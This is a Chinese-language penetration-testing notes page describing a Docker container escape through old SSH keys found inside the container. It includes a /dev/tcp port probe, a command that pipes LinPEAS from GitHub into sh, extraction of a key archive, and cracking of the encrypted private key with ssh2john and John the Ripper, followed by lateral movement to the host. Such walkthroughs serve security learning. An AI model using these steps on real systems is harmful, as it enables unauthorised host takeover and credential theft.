> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).
# Docker 逃逸（SSH 密钥）- Linux 权限提升
## 这是什么
Docker 逃逸路径会利用容器配置错误、挂载的主机资源、默认凭证、重复使用的密码或过高的容器权限。目标是从容器上下文转到主机级访问。此特定页面重点介绍 **Docker 逃逸（SSH 密钥）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
id
cat /proc/1/cgroup
挂载
ls -la /var/run/docker.sock 2>/dev/null
```
## 示例
我们位于容器内，并使用命令查找宿主机一侧的容器地址（192.168.150.1）。然后我们检查这台机器上的 22 端口是否开放。
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **系统枚举（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
我们使用 LinPEAS 进行提权枚举：
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
**我们在根目录中发现了一个意外的 tgz 文件夹。**
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### **受保护的私有 SSH 密钥破解：**
### 私有 SSH 密钥识别
我们识别出一对 OpenSSH 公钥和私钥。
### 私钥破解：
* 我们观察到私钥是加密的
* 我们使用 **ssh2john.py** 用于将文件内容转换为哈希：
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* 然后我们使用 John the Ripper 结合密码字典文件破解该哈希。
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
### 以 root 身份访问：
我们以 root 身份访问到这台机器。
### **滥用 SSH 密钥信任以逃离容器：**
使用 `known_hosts` 容器 SSH 目录中的配置，用于横向移动到另一台机器，从而让我们连接到宿主机上的 admin 用户。
---
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